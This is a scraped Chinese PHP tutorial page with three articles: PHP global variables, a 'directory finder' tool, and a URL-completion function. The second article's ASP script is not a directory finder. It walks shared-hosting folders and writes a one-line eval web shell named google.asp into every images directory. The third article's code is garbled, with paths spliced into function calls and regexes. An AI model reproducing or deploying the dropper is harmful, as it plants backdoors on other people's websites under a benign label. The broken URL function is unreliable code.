当前位置:  编程技术>php
本页文章导读:
    ▪PHP中全局变量global和$GLOBALS[]的区别分析       一、举例比较 例一: 代码如下: <?php $var1 = 1; function test(){ unset($GLOBALS['var1']); } test(); echo $var1; ?> 因为$var1被删除了,所以什么东西都没有打印。 例二: 代码如下: <?php $var1 = 1; functio.........
    ▪php一个找二层目录的小东东       php版 代码如下: <?php set_time_limit(0); $path = 'D:/Hosting'; $somefile = $_GET['key']; $logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="My Realm"'); .........
    ▪PHP文章采集URL补全函数(FormatUrl)       写采集必用的函数,URL补全函数,也可叫做FormatUrl。 写此函数作用就是为了开发采集程序,采集文章的时候会经常遇到页面里的路径是 “相对路径” 或者 “绝对根路径” 不是“绝对全路.........

[1]PHP中全局变量global和$GLOBALS[]的区别分析
    来源: 互联网  发布时间: 2013-11-30
一、举例比较
例一:
代码如下:

<?php
$var1 = 1;
function test(){
unset($GLOBALS['var1']);
}
test();
echo $var1;
?>

因为$var1被删除了,所以什么东西都没有打印。
例二:
代码如下:

<?php
$var1 = 1;
function test(){
global $var1;
unset($var1);
}
test();
echo $var1;
?>

意外的打印了1。证明删除的只是别名引用,其本身的值没有受到任何的改变。

二、解释
global $var其实就是&$GLOBALS['var'],调用外部变量的一个别名而已。
上面代码中的$var1和$GLOBALS['var1']是指的同一变量,而不是两个不同的变量。
PHP的全局变量和C语言有一点点不同。在C语言中,全局变量在函数中主动生效,除非被局部变量笼罩。这可能引起一些问题,有些人可能漫不经心的转变一个全局变量。PHP中全局变量在函数中应用时必须用global申明为全局。
PHP的Global变量的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。

三、结论
1.$GLOBALS['var']是外部的全局变量本身
2.global $var是外部$var的同名引用或者指针。

    
[2]php一个找二层目录的小东东
    来源: 互联网  发布时间: 2013-11-30
php版
代码如下:

<?php
set_time_limit(0);
$path = 'D:/Hosting';
$somefile = $_GET['key'];
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET['dir'])
{
continue;
}
/*
if($filename{1} != $_GET['two'])
{
continue;
}
*/
//$path2 = $path.'/'.$filename.'/html';
$path2 = $path.'/'.$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]Found !'.$filename2."\n";
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);
closedir($handle);
}
}

asp版
代码如下:

<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" &">"
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:\intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
' Response.write ServerFileEvery&"</br>"
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" Then
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
End If
Next
End If
Next
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") <= 0)Then
sPath = Replace(sPath, ",", ",")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, ",", ",")
End If
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>

    
[3]PHP文章采集URL补全函数(FormatUrl)
    来源: 互联网  发布时间: 2013-11-30
写采集必用的函数,URL补全函数,也可叫做FormatUrl。
写此函数作用就是为了开发采集程序,采集文章的时候会经常遇到页面里的路径是 “相对路径” 或者 “绝对根路径” 不是“绝对全路径”就无法收集URL。

所以,就需要本功能函数进行对代码进行格式化,把所有的超链接都格式化一遍,这样就可以直接收集到正确的URL了。

路径知识普及
相对路径:“../” “./” 或者前面什么都不加
绝对根路径:/path/xxx.html
绝对全路径:http://www.xxx.com/path/xxx.html
使用实例:
代码如下:

<?php
$surl="http://www./";
$gethtm = '<a href="/index.htm">首页</a><a href="/blog_article/Resolvent/index.htm">解决方案</a>';
echo formaturl(/blog_article/$gethtm,$surl/index.html);
?>

输出:<a href="http://www./index.htm">首页</a><a href="http://www./Resolvent/index.htm">解决方案</a>
--------- 演示实例 ------------
原始路径代码:http://www.newnew.cn/newnewindex.aspx
输出演示代码:http://www.maifp.com/aaa/test.php
以下是函数代码
代码如下:

<?php
function formaturl(/blog_article/$l1,$l2/index.html){
if (preg_match_all("/(<img[^>]+src=/index.html"([^\"]+)\"[^>]*>)|(<a[^>]+href=/index.html"([^\"]+)\"[^>]*>)|(<img[^>]+src='/blog_article/([^/index.html']+)'[^>]*>)|(<a[^>]+href='/blog_article/([^/index.html']+)'[^>]*>)/i",$l1,$regs)){
foreach($regs[0] as $num => $url){
$l1 = str_replace($url,lIIIIl($url,$l2),$l1);
}
}
return $l1;
}
function lIIIIl($l1,$l2){
if(preg_match("/(.*)(href|src)\=(.+?)( |\/\>|\>).*/i",$l1,$regs)){$I2 = $regs[3];}
if(strlen($I2)>0){
$I1 = str_replace(chr(34),"",$I2);
$I1 = str_replace(chr(39),"",$I1);
}else{return $l1;}
$url_parsed = parse_url(/blog_article/$l2/index.html);
$scheme = $url_parsed["scheme"];if($scheme!=""){$scheme = $scheme."://";}
$host = $url_parsed["host"];
$l3 = $scheme.$host;
if(strlen($l3)==0){return $l1;}
$path = dirname($url_parsed["path"]);if($path[0]=="\\"){$path="";}
$pos = strpos($I1,"#");
if($pos>0) $I1 = substr($I1,0,$pos);
//判断类型
if(preg_match("/^(http|https|ftp):(\/\/|\\\\)(([\w\/\\\+\-~`@:%])+\.)+([\w\/\\\.\=\?\+\-~`@\':!%#]|(&)|&)+/i",$I1)){return $l1; }//http开头的url类型要跳过
elseif($I1[0]=="/"){$I1 = $l3.$I1;}//绝对路径
elseif(substr($I1,0,3)=="../"){//相对路径
while(substr($I1,0,3)=="../"){
$I1 = substr($I1,strlen($I1)-(strlen($I1)-3),strlen($I1)-3);
if(strlen($path)>0){
$path = dirname($path);
}
}
$I1 = $l3.$path."/".$I1;
}
elseif(substr($I1,0,2)=="./"){
$I1 = $l3.$path.substr($I1,strlen($I1)-(strlen($I1)-1),strlen($I1)-1);
}
elseif(strtolower(substr($I1,0,7))=="mailto:"||strtolower(substr($I1,0,11))=="javascript:"){
return $l1;
}else{
$I1 = $l3.$path."/".$I1;
}
return str_replace($I2,"\"$I1\"",$l1);
}
?>

下面的链接是学习PHP正则表达式的地方。在这里留个链接,防止丢失。。。

    
最新技术文章:
▪PHP函数microtime()时间戳的定义与用法
▪PHP单一入口之apache配置内容
▪PHP数组排序方法总结(收藏)
▪php数组排序方法大全(脚本学堂整理奉献)
▪php数组排序的几个函数(附实例)
▪php二维数组排序(实例)
▪php根据键值对二维数组排序的小例子
▪php验证码(附截图)
▪php数组长度的获取方法(三个实例)
▪php获取数组长度的方法举例
▪判断php数组维度(php数组长度)的方法
▪php获取图片的exif信息的示例代码
▪PHP 数组key长度对性能的影响实例分析
▪php函数指定默认值的方法示例
▪php提交表单到当前页面、提交表单后页面重定...
▪php四舍五入的三种实现方法
▪php获得数组长度(元素个数)的方法
▪php日期函数的简单示例代码
▪php数学函数的简单示例代码
▪php字符串函数的简单示例代码
▪php文件下载代码(多浏览器兼容、支持中文文...
▪php实现文件下载、支持中文文件名的示例代码...
▪php文件下载(防止中文文件名乱码)的示例代码
▪解决PHP文件下载时中文文件名乱码的问题
▪php数组去重(一维、二维数组去重)的简单示例
▪php小数点后取两位的三种实现方法
▪php Redis 队列服务的简单示例
▪PHP导出excel时数字变为科学计数的解决方法
▪PHP数组根据值获取Key的简单示例
▪php数组去重的函数代码示例
 


站内导航:


特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

©2012-2021,,E-mail:www_#163.com(请将#改为@)

浙ICP备11055608号-3